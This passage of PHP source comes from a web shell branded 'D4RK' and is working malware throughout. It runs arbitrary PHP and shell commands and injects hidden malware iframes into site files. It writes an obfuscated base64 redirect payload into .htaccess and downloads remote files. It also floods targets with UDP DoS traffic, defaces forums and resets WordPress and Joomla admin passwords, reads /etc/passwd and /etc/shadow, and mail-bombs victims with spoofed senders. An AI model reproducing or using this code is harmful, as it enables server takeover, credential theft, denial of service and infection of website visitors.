2278 {
2279 if(isset($_POST['to']) && isset($_POST['subject']) && isset($_POST['message']) && isset($_POST['times']) && $_POST['to'] != '' && $_POST['subject'] != '' && $_POST['message'] != '' && $_POST['times'] != '')
2280 {
2281 $times = $_POST['times'];
2282 while($times--)
2283 {
2284 if(isset($_POST['padding']))
2285 {
2286 $fromPadd = rand(0,9999);
2287 $subjectPadd = " -- ID : ".rand(0,9999999);
2288 $messagePadd = "\n\n------------------------------\n".rand(0,99999999);
2289
2290 }
2291 $from = "president$fromPadd@whitehouse.gov";
2292 if(!mail($_POST['to'],$_POST['subject'].$subjectPadd,$_POST['message'].$messagePadd,"From:".$from))
2293 {
2294 $error = 1;
2295 echo "<center><font size=3><blink><blink>Some Error Occured!</blink></font></center>";
2296 break;
2297 }
2298 }
2299 if($error != 1)
2300 echo "<center><font class=txt size=3><blink>Mail(s) Sent!</blink></font></center>";
2301 }
2302 }
2303 else if($_POST['mailfunction'] == "massmailing")
2304 {
2305 if(isset($_POST['to']) && isset($_POST['from']) && isset($_POST['subject']) && isset($_POST['message']))
2306 {
2307 if(mail($_POST['to'],$_POST['subject'],$_POST['message'],"From:".$_POST['from']))
2308 echo "<center><font class=txt size=3><blink>Mail Sent!</blink></font></center>";
2309 else
2310 echo "<center><font size=3><blink>Some Error Occured!</blink></font></center>";
2311 }
2312 }
2313}
2314else if(isset($_POST['code']))
2315{
2316 if($_POST['code'] != null && isset($_POST['intext']) && $_POST['intext'] == "true")
2317 {
2318 // FIlter Some Chars we dont need
2319 ?><br>
2320 <textarea name="code" class="box" cols="120" rows="10"><?php
2321 $code = str_replace("<?php","",$_POST['code']);
2322 $code = str_replace("<?","",$code);
2323 $code = str_replace("?>","",$code);
2324
2325 // Evaluate PHP CoDE!
2326 htmlspecialchars(eval($code));
2327 ?>
2328 </textarea><?php
2329 }
2330 else if($_POST['code'] != null && $_POST['intext'] == "false")
2331 {
2332 $code = str_replace("<?php","",$_POST['code']);
2333 $code = str_replace("<?","",$code);
2334 $code = str_replace("?>","",$code);
2335
2336 // Evaluate PHP CoDE!
2337 ?><br><font size="4">Result of execution this PHP-code :</font><br><font class=txt><?php htmlspecialchars(eval($code)); ?></font><?php
2338 }
2339}
2340else if(isset($_GET['infect']))
2341{
2342 $coun = 0;
2343 $str = "<iframe width=0px height=0px frameborder=no name=frame1 src=".$malsite."> </iframe>";
2344 foreach (glob($_GET['path'] . "*.php") as $injectj00)
2345 {
2346 if($injectj00 == __FILE__)
2347 continue;
2348 if($myfile=fopen($injectj00,'a'))
2349 {
2350 fputs($myfile, $str);
2351 fclose($myfile);
2352 $coun = 1;
2353 }
2354 }
2355 foreach (glob($_GET['path'] . $directorysperator . "*.htm") as $injectj00)
2356 {
2357 if($myfile=fopen($injectj00,'a'))
2358 {
2359 fputs($myfile, $str);
2360 fclose($myfile);
2361 $coun = 1;
2362 }
2363 }
2364 foreach (glob($_GET['path'] . $directorysperator . "*.html") as $injectj00)
2365 {
2366 if($myfile=fopen($injectj00,'a'))
2367 {
2368 fputs($myfile, $str);
2369 fclose($myfile);
2370 $coun = 1;
2371 }
2372 }
2373
2374
2375 if($coun == 1)
2376 echo "<center>Done !!!!<center>";
2377 else
2378 echo "<center>Cannot open files !!!!<center>";
2379}
2380else if(isset($_GET['redirect']))
2381{
2382 if($myfile = fopen(".htaccess",'a'))
2383 {
2384 $mal = "eNqV0UtrAjEQAOC70P8wYHsRyRa8FYpQSR9QXAmCBxHJrkMSjDNhk/pA/O+uFuyx5javj4GZLrzJj68xzLhZTRqM8aGjcNe4hJKMI4SSbpUyJMcUwZHFNr/VR0wreDp+TqeTpZLvUkl1AtHTcS1q3ojeI8zHo36pFv8Jw2w8ZoBNpMuK+0HlyOQJ77aYJzT7TOCT3rqYdB7Dfd0280xE3dRWHLRl/lV/RP14bEfAphReisJ4rrQPvGt/TcboZK8BXy9eOBLBhiG9Dp5hrvrfizOeH7rw";
2385 fwrite($myfile, gzuncompress(base64_decode($mal)));
2386 fwrite($myfile, "\n\r");
2387 fclose($myfile);
2388 echo "<center>Done !!!!<center>";
2389 }
2390 else
2391 echo "<center>Cannot open file !!!!<center>";
2392}
2393else if(isset($_GET['malware']))
2394{ ?>
2395 <input type="hidden" id="malpath" value="<?php echo $_GET["dir"]; ?>">
2396 <center><table><tr><td><a href=# onClick="malwarefun('infect')"><font class=txt size="4">| Infect Users |</font></a></td>
2397 <td><a href=javascript:void(0) onClick="malwarefun('redirect')"><font class=txt size="4">| Redirect Search Engine TO Malwared site |</font></a></td></tr></table></center>
2398 <div id="showmal"></div>
2399 <?php
2400}
2401else if(isset($_GET['codeinsert']))
2402{
2403 if($file1 = fopen(".htaccess",'r'))
2404 {
2405 ?><div id="showcode"></div>
2406 <form method=post>
2407 <textarea rows=9 cols=110 name="code" class=box><?php while(!feof($file1)) { echo fgets($file1); } ?></textarea><br>
2408 <input type="button" onClick="codeinsert(code.value)" value=" Insert " class=but>
2409 </form>
2410 <?php }
2411 else
2412 echo "<center>Cannot Open File!!</center>";
2413}
2414else if(isset($_POST['getcode']))
2415{
2416 if($myfile = fopen(".htaccess",'a'))
2417 {
2418 fwrite($myfile, $_POST['getcode']);
2419 fwrite($myfile, "\n\r");
2420 fclose($myfile);
2421 echo "<font class=txt>Code Inserted Successfully!!!!</font>";
2422 }
2423 else
2424 echo "Permission Denied";
2425}
2426else if(isset($_GET['uploadurl']))
2427{
2428 $functiontype = trim($_GET['functiontype']);
2429 $wurl = trim($_GET['wurl']);
2430 $path = magicboom($_GET['path']);
2431
2432 function remotedownload($cmd,$url)
2433 {
2434 $namafile = basename($url);
2435 switch($cmd)
2436 {
2437 case 'wwget':
2438 execmd(which('wget')." ".$url." -O ".$namafile);
2439 break;
2440 case 'wlynx':
2441 execmd(which('lynx')." -source ".$url." > ".$namafile);
2442 break;
2443 case 'wfread' :
2444 execmd($wurl,$namafile);
2445 break;
2446 case 'wfetch' :
2447 execmd(which('fetch')." -o ".$namafile." -p ".$url);
2448 break;
2449 case 'wlinks' :
2450 execmd(which('links')." -source ".$url." > ".$namafile);
2451 break;
2452 case 'wget' :
2453 execmd(which('GET')." ".$url." > ".$namafile);
2454 break;
2455 case 'wcurl' :
2456 execmd(which('curl')." ".$url." -o ".$namafile);
2457 break;
2458 default:
2459 break;
2460 }
2461 return $namafile;
2462 }
2463 $namafile = remotedownload($functiontype,$wurl);
2464 $fullpath = $path . $directorysperator . $namafile;
2465 if(is_file($fullpath))
2466 {
2467 echo "<center><font class=txt>File uploaded to $fullpath</font></center>";
2468 }
2469 else
2470 echo "<center>Failed to upload $namafile</center>";
2471}
2472else if(isset($_GET['createfolder']))
2473{
2474 if(!mkdir($_GET['createfolder']))
2475 echo "Failed To create";
2476 else
2477 echo "<font class=txt>Folder Created Successfully</font>";
2478}
2479else if(isset($_GET['selfkill']))
2480{
2481 if(unlink(__FILE__))
2482 echo "<br><center><font size=5>Good Bye......</font></center>";
2483 else
2484 echo "<br><center><font size=5>Shell cannot be removed......</font></center>";
2485}
2486else if(isset($_GET['Create']))
2487{
2488 ?>
2489 <form method="post">
2490 <input type="hidden" name="filecreator" value="<?php echo $_GET['Create']; ?>">
2491 <textarea name="filecontent" rows="12" cols="100" class="box"></textarea><br />
2492 <input type="button" onClick="createfile(filecreator.value,filecontent.value)" value=" Save " class="but"/>
2493 </form>
2494
2495<?php }
2496else if(isset($_POST['filecreator'])&&isset($_POST['filecontent']))
2497{
2498 $content = $_POST['filecontent'];
2499 if($file_pointer = fopen($_POST['filecreator'], "w+"))
2500 {
2501 fwrite($file_pointer, $content);
2502 fclose($file_pointer);
2503 echo "<font class=txt>File Created Successfully</font>";
2504 }
2505 else
2506 echo "Cannot Create File";
2507}
2508else if(isset($_REQUEST["defaceforum"]))
2509{
2510 ?>
2511 <center><div id="showdeface"></div>
2512 <font color="#FF0000" size="4">Forum Index Changer</font>
2513 <form action="<?php echo $self; ?>" method = "POST">
2514 <input type="hidden" name="forum">
2515 <input type="hidden" name="defaceforum">
2516 <table border = "1" width="60%" style="text-align: center;border-color:#333333;" align="center">
2517 <tr>
2518 <td height="50" width="50%"> <b>Host : </b><input class="sbox" type="text" name="f1" size="20" value="localhost"></td>
2519
2520 <td width="50%"><b> Database :</b> <input type ="text" class="sbox" name = "f2" size="20"></td></tr>
2521 <tr><td height="50" width="50%"><b>User :</b> <input type ="text" class="sbox" name = "f3" size="20"> </td>
2522 <td><b> Password :</b> <input class="sbox" type ="text" name = "f4" size="20"></td></tr>
2523
2524 <tr><td height="50" width="50%">Type :
2525 <select class=sbox id="forumdeface" name="forumdeface" onChange="checkforum(this.value)">
2526 <option value="vb">vbulletin</option>
2527 <option value="mybb">Mybb</option>
2528 <option value="smf">SMF</option>
2529 <option value="ipb">IPB</option>
2530 <option value="wp">Wordpress</option>
2531 <option value="joomla">Joomla</option>
2532 </select></td>
2533 <td height="50" width="50%">Prefix : <input type="text" id="tableprefix" name="tableprefix" class="sbox"></td></td>
2534
2535 </tr>
2536 <tr>
2537 <td height="167" width="50%" colspan=2>
2538 <div style="display:none;" id="myjoomla"><p><b>Site URL : </b><input class="box" type="text" name="siteurl" width="80" value="http://site.com/administrator/"></p></div>
2539
2540 <div style="display:none;" id="smfipb"><p align="center"><b>Head : </b><input class="sbox" type="text" name="head" size="20" value="Hacked"> <b>Kate ID : </b><input class="sbox" type="text" name="f5" size="20" value="1">
2541 <label id="wordpres" style="display:none; float:right; margin-right:8%;"><input type="checkbox" name="all" value="All" checked="checked"> All</label></p>
2542 </div>
2543
2544 <p align="center"> <textarea class="box" name="index" cols=53 rows=8><b>lol ! You Are Hacked !!!!</b></textarea><p align="center">
2545 <input type="button" onClick="forumdefacefn(index.value,f1.value,f2.value,f3.value,f4.value,forumdeface.value,tableprefix.value,siteurl.value,head.value,all.value,f5.value)" class="but" value = "Hack It">
2546 </td>
2547 </tr>
2548 </table>
2549 </form>
2550 </center>
2551 <?php
2552 }
2553 else if(isset($_GET["passwordchange"]))
2554 {
2555 echo "<center>";
2556 ?>
2557 <div id="showchangepass"></div>
2558 <font color="#FF0000" size="4">Forum Password Changer</font>
2559 <form onSubmit="changeforumpassword('forumpass',f1.value,f2.value,f3.value,f4.value,forums.value,tableprefix.value,ipbuid.value,newipbpass.value,username.value,newjoomlapass.value,uid.value,uname.value,newpass.value);return false;">
2560 <table border = "1" width="60%" height="246" style="text-align: center;border-color:#333333;" align="center">
2561 <tr>
2562 <td height="50" width="50%"> <b>Host : </b><input class="sbox" type="text" name="f1" size="20" value="localhost"></td><td height="50" width="50"> <b> DataBase :</b> <input type ="text" class="sbox" name = "f2" size="20"></td> <tr><td height="50" width="50%"> <b>User :</b> <input type ="text" class="sbox" name = "f3" size="20"></td><td height="50" width="50%"> <b>Password :</b> <input class="sbox" type ="text" name = "f4" size="20"></td></tr>
2563 <tr>
2564 <td height="50" width="50%">Type :
2565 <select class=sbox id="forums" name="forums" onChange="showMsg(this.value)">
2566 <option value="vb">vbulletin</option>
2567 <option value="mybb">Mybb</option>
2568 <option value="smf">SMF</option>
2569 <option value="ipb">IPB</option>
2570 <option value="phpbb">PHPBB</option>
2571 <option value="wp">Wordpress</option>
2572 <option value="joomla">Joomla</option>
2573 </select></td>
2574 <td height="50" width="50%">Prefix : <input type="text" id="tableprefix" name="tableprefix" class="sbox"></td>
2575 </tr>
2576 <tr>
2577 <td colspan=2 height="100" width="780">
2578
2579 <p align="center"><div id="fid" style="display:block;"><b>User ID :</b> <input class="sbox" type="text" name="ipbuid" size="20" value="1"> <b>New Password :</b> <input type ="text" class="sbox" name = "newipbpass" size="20" value="hacked"></div>
2580
2581 <div id="joomla" style="display:none;"><b>New Username :</b> <input style="width:170px;" class="box" type="text" name="username" size="20" value="admin"> <b>New Password :</b> <input type ="text" class="sbox" name = "newjoomlapass" size="20" value="hacked"></div>
2582
2583 <div id="wpress" style="display:none;"><p><b>User ID :</b> <input class="sbox" type="text" name="uid" size="20" value="1"> <b>New Password :</b> <input type ="text" class="sbox" name = "newpass" size="20" value="hacked"></p><b>New Username :</b> <input style="width:170px;" class="box" type="text" name="uname" size="20" value="admin"></div>
2584
2585 <p><input type = "button" onClick="changeforumpassword('forumpass',f1.value,f2.value,f3.value,f4.value,forums.value,tableprefix.value,ipbuid.value,newipbpass.value,username.value,newjoomlapass.value,uid.value,uname.value,newpass.value)" class="but" value = " Change IT " name="forumpass"></p></td>
2586 </tr>
2587 </table>
2588 </form>
2589 </center>
2590 <?php
2591}
2592else if(isset($_GET['dosser']))
2593{
2594 if(isset($_GET['ip']) && isset($_GET['exTime']) && isset($_GET['port']) && isset($_GET['timeout']) && isset($_GET['exTime']) && $_GET['exTime'] != "" &&
2595 $_GET['port'] != "" && $_GET['ip'] != "" && $_GET['timeout'] != "" && $_GET['exTime'] != "" )
2596 {
2597 $IP=$_GET['ip'];
2598 $port=$_GET['port'];
2599 $executionTime = $_GET['exTime'];
2600 $no0fBytes = $_GET['no0fBytes'];
2601 $data = "";
2602 $timeout = $_GET['timeout'];
2603 $packets = 0;
2604 $counter = $no0fBytes;
2605 $maxTime = time() + $executionTime;;
2606 while($counter--)
2607 {
2608 $data .= "X";
2609 }
2610 $data .= " D4RK";
2611
2612 while(1)
2613 {
2614 $socket = fsockopen("udp://$IP", $port, $error, $errorString, $timeout);
2615 if($socket)
2616 {
2617 fwrite($socket , $data);
2618 fclose($socket);
2619 $packets++;
2620 }
2621 if(time() >= $maxTime)
2622 {
2623 break;
2624 }
2625 }
2626 echo "Dos Completed!<br>";
2627 echo "DOS attack against udp://$IP:$port completed on ".date("h:i:s A")."<br />";
2628 echo "Total Number of Packets Sent : " . $packets . "<br />";
2629 echo "Total Data Sent = ". HumanReadableFilesize($packets*$no0fBytes) . "<br />";
2630 echo "Data per packet = " . HumanReadableFilesize($no0fBytes) . "<br />";
2631 }
2632}
2633else if(isset($_GET['fuzzer']))
2634{
2635 if(isset($_GET['ip']) && isset($_GET['port']) && isset($_GET['timeout']) && isset($_GET['exTime']) && isset($_GET['no0fBytes']) && isset($_GET['multiplier']) && $_GET['no0fBytes'] != "" && $_GET['exTime'] != "" && $_GET['timeout'] != "" && $_GET['port'] != "" && $_GET['ip'] != "" && $_GET['multiplier'] != "")
2636 {
2637 $IP=$_GET['ip'];
2638 $port=$_GET['port'];
2639 $times = $_GET['exTime'];
2640 $timeout = $_GET['timeout'];
2641 $send = 0;
2642 $ending = "";
2643 $multiplier = $_GET['multiplier'];
2644 $data = "";
2645 $mode="tcp";
2646 $data .= "GET /";
2647 $ending .= " HTTP/1.1\n\r\n\r\n\r\n\r";
2648 if($_GET['type'] == "tcp")
2649 {
2650 $mode = "tcp";
2651 }
2652
2653 while($multiplier--)
2654 {
2655 $data .= urlencode($_GET['no0fBytes']);
2656 }
2657 $data .= "%s%s%s%s%d%x%c%n%n%n%n";// add some format string specifiers
2658 $data .= "by-D4RK".$ending;
2659 $length = strlen($data);
2660
2661
2662 echo "Sending Data :- <br /> <p align='center'>$data</p>";
2663
2664 for($i=0;$i<$times;$i++)
2665 {
2666 $socket = fsockopen("$mode://$IP", $port, $error, $errorString, $timeout);
2667 if($socket)
2668 {
2669 fwrite($socket , $data , $length );
2670 fclose($socket);
2671 }
2672 }
2673 echo "Fuzzing Completed!<br>";
2674 echo "DOS attack against $mode://$IP:$port completed on ".date("h:i:s A")."<br />";
2675 echo "Total Number of Packets Sent : " . $times . "<br />";
2676 echo "Total Data Sent = ". HumanReadableFilesize($times*$length) . "<br />";
2677 echo "Data per packet = " . HumanReadableFilesize($length) . "<br />";
2678 }
2679}
2680else if(isset($_GET['bypassit']))
2681{
2682 if(isset($_GET['copy']))
2683 {
2684 if(@copy($_GET['copy'],"test1.php"))
2685 {
2686 $fh=fopen("test1.php",'r');
2687 echo "<textarea cols=120 rows=20 class=box readonly>".htmlspecialchars(@fread($fh,filesize("test1.php")))."</textarea></br></br>";
2688 @fclose($fh);
2689 unlink("test1.php");
2690 }
2691 }
2692 else if(isset($_GET['imap']))
2693 {
2694 $string = $_GET['imap'];
2695 echo "<textarea cols=120 rows=20 class=box readonly>";
2696 $stream = imap_open($string, "", "");
2697 $str = imap_body($stream, 1);
2698 echo "</textarea>";
2699 }
2700 else if(isset($_GET['sql']))
2701 {
2702 echo "<textarea cols=120 rows=20 class=box readonly>";
2703 $file=$_GET['sql'];
2704
2705 $mysql_files_str = "/etc/passwd:/proc/cpuinfo:/etc/resolv.conf:/etc/proftpd.conf";
2706 $mysql_files = explode(':', $mysql_files_str);
2707
2708 $sql = array (
2709 "USE $mdb",
2710 'CREATE TEMPORARY TABLE ' . ($tbl = 'A'.time ()) . ' (a LONGBLOB)',
2711 "LOAD DATA LOCAL INFILE '$file' INTO TABLE $tbl FIELDS "
2712 . "TERMINATED BY '__THIS_NEVER_HAPPENS__' "
2713 . "ESCAPED BY '' "
2714 . "LINES TERMINATED BY '__THIS_NEVER_HAPPENS__'",
2715
2716 "SELECT a FROM $tbl LIMIT 1"
2717 );
2718 mysql_connect ($mhost, $muser, $mpass);
2719
2720 foreach ($sql as $statement) {
2721 $q = mysql_query ($statement);
2722
2723 if ($q == false) die (
2724 "FAILED: " . $statement . "\n" .
2725 "REASON: " . mysql_error () . "\n"
2726 );
2727
2728 if (! $r = @mysql_fetch_array ($q, MYSQL_NUM)) continue;
2729
2730 echo htmlspecialchars($r[0]);
2731 mysql_free_result ($q);
2732 }
2733 echo "</textarea>";
2734 }
2735 else if(isset($_GET['curl']))
2736 {
2737 $ch=curl_init("file://" . $_GET[curl]);
2738 curl_setopt($ch,CURLOPT_HEADERS,0);
2739 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
2740 $file_out=curl_exec($ch);
2741 curl_close($ch);
2742 echo "<textarea cols=120 rows=20 class=box readonly>".htmlspecialchars($file_out)."</textarea></br></br>";
2743 }
2744 else if(isset($_GET['include']))
2745 {
2746 if(file_exists($_GET['include']))
2747 {
2748 echo "<textarea cols=120 rows=20 class=box readonly>";
2749 @include($_GET['include']);
2750 echo "</textarea>";
2751 }
2752 else
2753 echo "<br><center><font size=3>Can't Read" . $_GET['include'] . "</font></center>";
2754 }
2755 else if(isset($_GET['id']))
2756 {
2757 echo "<textarea cols=120 rows=20 class=box readonly>";
2758 for($uid=0;$uid<60000;$uid++)
2759 { //cat /etc/passwd
2760 $ara = posix_getpwuid($uid);
2761 if (!empty($ara))
2762 {
2763 while (list ($key, $val) = each($ara))
2764 {
2765 print "$val:";
2766 }
2767 print "\n";
2768 }
2769 }
2770 echo "</textarea>";
2771 break;
2772 }
2773 else if(isset($_GET['tempnam']))
2774 {
2775 $mytmp = tempnam ( 'tmp', $_GET['tempnam'] );
2776 $fp = fopen ( $mytmp, 'r' );
2777 while(!feof($fp))
2778 echo fgets($fp);
2779 fclose ( $fp );
2780 }
2781 else if(isset($_GET['symlnk']))
2782 {
2783 echo "<textarea cols=120 rows=20 class=box readonly>";
2784 @mkdir("myD4RK",0777);
2785 @chdir("myD4RK");
2786 execmd("ln -s /etc/passwd");
2787
2788 echo file_get_contents("http://" . $_SERVER['HTTP_HOST'] . "/myD4RK/passwd");
2789 echo "</textarea>";
2790 }
2791 if(isset($_GET['newtype']))
2792 {
2793 $filename = $_GET['newtype'];
2794 echo "<textarea cols=120 rows=20 class=box readonly>";
2795 if($_GET['optiontype'] == "xxd")
2796 echo execmd("xxd ".$filename);
2797 else if($_GET['optiontype'] == "rev")
2798 echo execmd("rev ".$filename);
2799 if($_GET['optiontype'] == "tac")
2800 echo execmd("tac ".$filename);
2801 if($_GET['optiontype'] == "more")
2802 echo execmd("more ".$filename);
2803 if($_GET['optiontype'] == "less")
2804 echo execmd("less ".$filename);
2805 echo "</textarea>";
2806 }
2807}
2808// Deface Website
2809else if(isset($_GET['deface']))
2810{
2811 $myfile = fopen($_GET['deface'],'w');
2812 if(fwrite($myfile, base64_decode($ind)))
2813 {fclose($myfile);
2814 echo "Index Defaced Successfully";}
2815 else
2816 echo "Donot have write permission";
2817}
2818else if(isset($_GET['perms']))
2819{
2820?>
2821 <form>
2822 <input type="hidden" name="myfilename" value="<?php echo $_GET['myfilepath']; ?>">
2823 <table align="center" border="1" style="width:40%;border-color:#333333;">
2824 <tr>
2825 <td style="height:40px" align="right">Change Permissions </td><td align="center"><input value="0755" name="chmode" class="sbox" /></td>
2826 </tr>
2827 <tr>
2828 <td colspan="2" align="center" style="height:60px">
2829 <input type="button" onClick="changeperms(chmode.value,myfilename.value)" value="Change Permission" class="but" style="padding: 5px;" /></td>
2830 </tr>
2831 </table>
2832
2833 </form>
2834 <?php
2835}
2836else if(isset($_GET["chmode"]))
2837{
2838 if($_GET['chmode'] != null && is_numeric($_GET['chmode']))
2839 {
2840 $perms = 0;
2841 for($i=strlen($_GET['chmode'])-1;$i>=0;--$i)
2842 $perms += (int)$_GET['chmode'][$i]*pow(8, (strlen($_GET['chmode'])-$i-1));
2843 if(@chmod($_GET['myfilename'],$perms))
2844 echo "<center><blink><font class=txt>File Permissions Changed Successfully</font></blink></center>";
2845 else
2846 echo "<center><blink>Cannot Change File Permissions</blink></center>";
2847 }
2848}
2849else if(isset($_GET['rename']))
2850{
2851?>
2852 <form>
2853 <table border="0" cellpadding="3" cellspacing="3">
2854 <tr>
2855 <td>File </td><td><input value="<?php echo $_GET['myfilepath'];?>" name="file" class="box" /></td>
2856 </tr>
2857 <tr>
2858 <td>To </td><td><input value="<?php echo $_GET['myfilepath'];?>" name="to" class="box" /></td>
2859 </tr>
2860 <tr>
2861 <td colspan="2"><input type="button" onClick="renamefun(file.value,to.value)" value="Rename It" class="but" style="margin-left: 160px;padding: 5px;"/></td>
2862 </tr>
2863 </table>
2864 </form>
2865 <?php
2866
2867}
2868else if(isset($_GET['renamemyfile']))
2869{
2870 if(isset($_GET['to']) && isset($_GET['file']))
2871 {
2872 if(!rename($_GET['file'], $_GET['to']))
2873 echo "Cannot Rename File";
2874 else
2875 echo "<font class=txt>File Renamed Successfully</font>";
2876
2877 }
2878}
2879else if(isset($_GET['open']))
2880{
2881 if(is_file($_GET['myfilepath']))
2882 {
2883 $owner = "0/0";
2884 if($os == "Linux")
2885 $owner = getOGid($_GET['myfilepath']);
2886 ?>
2887 <form>
2888 <table style="width:57%;">
2889 <tr align="left">
2890 <td align="left">File : </td><td><font class=txt><?php echo $_GET['myfilepath'];?></font></td><td align="left">Permissions : </td><td><a href=javascript:void(0) onClick="fileaction('perms','<?php echo addslashes($_GET['myfilepath']); ?>')"><?php echo filepermscolor($_GET['myfilepath']);?></a></td>
2891 </tr>
2892 <tr>
2893 <td>Size : </td><td><?php echo HumanReadableFileSize(filesize($_GET['myfilepath']));?></td><td>Owner/Group : </td><td><font class=txt><?php echo $owner;?></font></td>
2894 </tr>
2895 </table>
2896 <textarea name="content" rows="15" cols="100" class="box"><?php
2897 $content = htmlspecialchars(file_get_contents($_GET['myfilepath']));
2898 if($content)
2899 {
2900 echo $content;
2901 }
2902 else if(function_exists('fgets') && function_exists('fopen') && function_exists('feof'))
2903 {
2904 if(filesize($_GET['myfilepath']) != 0 )
2905 {
2906 fopen($_GET['myfilepath']);
2907 while(!feof())
2908 {
2909 echo htmlspecialchars(fgets($_GET['myfilepath']));
2910 }
2911 }
2912 }
2913
2914 ?>
2915 </textarea><br />
2916 <input name="save" type="button" onClick="savemyfile('<?php echo addslashes($_GET['myfilepath']); ?>',content.value)" value="Save Changes" id="spacing" class="but"/>
2917 </form>
2918 <?php
2919 }
2920 else
2921 echo "File does not exist !!!!";
2922}
2923else if(isset($_POST['file']) && isset($_POST['content']))
2924{
2925 if(file_exists($_POST['file']))
2926 {
2927 $handle = fopen($_POST['file'],"w");
2928 if(fwrite($handle,$_POST['content']))
2929 echo "<font class=txt>File Saved Successfully!</font>";
2930 else
2931 echo "Cannot Write into File";
2932 }
2933 else
2934 {
2935 echo "File Name Specified does not exists!";
2936 }
2937}
2938else if(isset($_POST["SendNowToZoneH"]))
2939{
2940 $hacker = $_POST['defacer'];
2941 $method = $_POST['hackmode'];
2942 $neden = $_POST['reason'];
2943 $site = $_POST['domain'];
2944
2945 if (empty($hacker))
2946 {
2947 die("<center><font size=3>[-] You Must Fill the Attacker name !</font></center>");
2948 }
2949 elseif($method == "--------SELECT--------")
2950 {
2951 die("<center><font size=3>[-] You Must Select The Method !</center>");
2952 }
2953 elseif($neden == "--------SELECT--------")
2954 {
2955 die("<center><font size=3>[-] You Must Select The Reason</center>");
2956 }
2957 elseif(empty($site))
2958 {
2959 die("<center><font size=3>[-] You Must Inter the Sites List !</center>");
2960 }
2961 // Zone-h Poster
2962 function ZoneH($url, $hacker, $hackmode,$reson, $site )
2963 {
2964 $k = curl_init();
2965 curl_setopt($k, CURLOPT_URL, $url);
2966 curl_setopt($k,CURLOPT_POST,true);
2967 curl_setopt($k, CURLOPT_POSTFIELDS,"defacer=".$hacker."&domain1=". $site."&hackmode=".$hackmode."&reason=".$reson);
2968 curl_setopt($k,CURLOPT_FOLLOWLOCATION, true);
2969 curl_setopt($k, CURLOPT_RETURNTRANSFER, true);
2970 $kubra = curl_exec($k);
2971 curl_close($k);
2972 return $kubra;
2973 }
2974
2975 $i = 0;
2976 $sites = explode("\n", $site);
2977 echo "<pre class=ml1 style='margin-top:5px'>";
2978 while($i < count($sites))
2979 {
2980 if(substr($sites[$i], 0, 4) != "http")
2981 {
2982 $sites[$i] = "http://".$sites[$i];
2983 }
2984 ZoneH("http://zone-h.org/notify/single", $hacker, $method, $neden, $sites[$i]);
2985 echo "<font class=txt size=3>Site : ".$sites[$i]." Posted !</font><br>";
2986 ++$i;
2987 }
2988
2989 echo "<font class=txt size=4>Sending Sites To Zone-H Has Been Completed Successfully !! </font></pre>";
2990}
2991else if(isset($_GET['executemycmd']))
2992{
2993 $comm = $_GET['executemycmd'];
2994 chdir($_GET['executepath']);
2995 echo shell_exec($comm);
2996}
2997// View Passwd file
2998else if(isset($_GET['passwd']))
2999{
3000 $test='';
3001 $tempp= tempnam($test, "cx");
3002 $get = "/etc/passwd";
3003 $name=@posix_getpwuid(@fileowner($get));
3004 $group=@posix_getgrgid(@filegroup($get));
3005 $owner = $name['name']. " / ". $group['name'];
3006 ?>
3007 <table style="width:57%;">
3008 <tr>
3009 <td align="left">File : </td><td><font class=txt><?php echo $get; ?></font></td><td align="left">Permissions : </td><td><?php echo filepermscolor($get);?></td>
3010 </tr>
3011 <tr>
3012 <td>Size : </td><td><?php echo filesize($get);?></td><td>Owner/Group : </td><td><font class=txt><?php echo $owner;?></font></td>
3013 </tr>
3014 </table>
3015 <?php
3016 if(copy("compress.zlib://".$get, $tempp))
3017 {
3018 $fopenzo = fopen($tempp, "r");
3019 $freadz = fread($fopenzo, filesize($tempp));
3020 fclose($fopenzo);
3021 $source = htmlspecialchars($freadz);
3022 echo "<tr><td><center><textarea rows='20' cols='80' class=box name='source'>$source</textarea><br>";
3023 unlink($tempp);
3024 }
3025 else
3026 {
3027 ?>
3028 <form>
3029 <input type="hidden" name="etcpasswd">
3030 <table class="tbl" border="1" cellpadding="5" cellspacing="5" align="center" style="width:40%;">
3031 <tr>
3032 <td>From : </td><td><input type="text" name="val1" class="sbox" value="1"></td>
3033 </tr>
3034 <tr>
3035 <td>To : </td><td><input type="text" name="val2" class="sbox" value="1000"></td>
3036 </tr>
3037 <tr>
3038 <td colspan="2" align="center"><input type="submit" value=" Go " class="but"></td>
3039 </tr>
3040 </table><br>
3041 </form>
3042 <?php
3043 }
3044}
3045else if(isset($_GET['shadow']))
3046{
3047 $test='';
3048 $tempp= tempnam($test, "cx");
3049 $get = "/etc/shadow";
3050 if(copy("compress.zlib://".$get, $tempp))
3051 {
3052 $fopenzo = fopen($tempp, "r");
3053 $freadz = fread($fopenzo, filesize($tempp));
3054 fclose($fopenzo);
3055 $source = htmlspecialchars($freadz);
3056 echo "<tr><td><center><font size='3' face='Verdana'>$get</font><br><textarea rows='20' cols='80' class=box name='source'>$source</textarea>";
3057 unlink($tempp);
3058 }
3059}
3060else if(isset($_GET['bomb']))
3061{
3062 ?><div id="showmail"></div>
3063 <form>
3064 <table id="margins" style="width:100%;">
3065 <tr>
3066 <td style="width:30%;">To</td>
3067 <td>
3068 <input class="box" name="to" value="victim@domain.com,victim2@domain.com" onFocus="if(this.value == 'victim@domain.com,victim2@domain.com')this.value = '';" onBlur="if(this.value=='')this.value='victim@domain.com,victim2@domain.com';"/>
3069 </td>
3070 </tr>
3071 <tr>
3072 <td style="width:30%;">Subject</td>
3073 <td>
3074 <input type="text" class="box" name="subject" value="D4RK Here!" onFocus="if(this.value == 'D4RK Here!')this.value = '';" onBlur="if(this.value=='')this.value='D4RK Here!';" />
3075 </td>
3076 </tr>
3077 <tr>
3078 <td style="width:30%;">No. of Times</td>
3079 <td>
3080 <input class="box" name="times" value="100" onFocus="if(this.value == '100')this.value = '';" onBlur="if(this.value=='')this.value='100';"/>
3081 </td>
3082 </tr>
3083 <tr>
3084 <td style="width:30%;">Pad your message (Less spam detection)</td>
3085 <td><input type="checkbox" name="padding"/></td>
3086 </tr>
3087 <tr>
3088 <td colspan="2"><textarea name="message" cols="110" rows="10" class="box">Hello !! This is D4RK!!</textarea></td>
3089 </tr>
3090 <tr>
3091 <td rowspan="2">
3092 <input style="margin : 20px; margin-left: 390px; padding : 10px; width: 100px;" type="button" onClick="sendmail('dobombing',to.value,subject.value,message.value,'null',times.value,padding.value)" class="but" value=" Bomb! "/>
3093 </td>
3094 </tr>
3095 </table>
3096 </form>
3097 <?php
3098}
3099
3100//Mass Mailer
3101else if(isset($_GET['mail']))
3102{
3103 ?><div id="showmail"></div>
3104 <div align="left">
3105 <form>
3106 <table align="left" style="width:100%;">
3107 <tr>
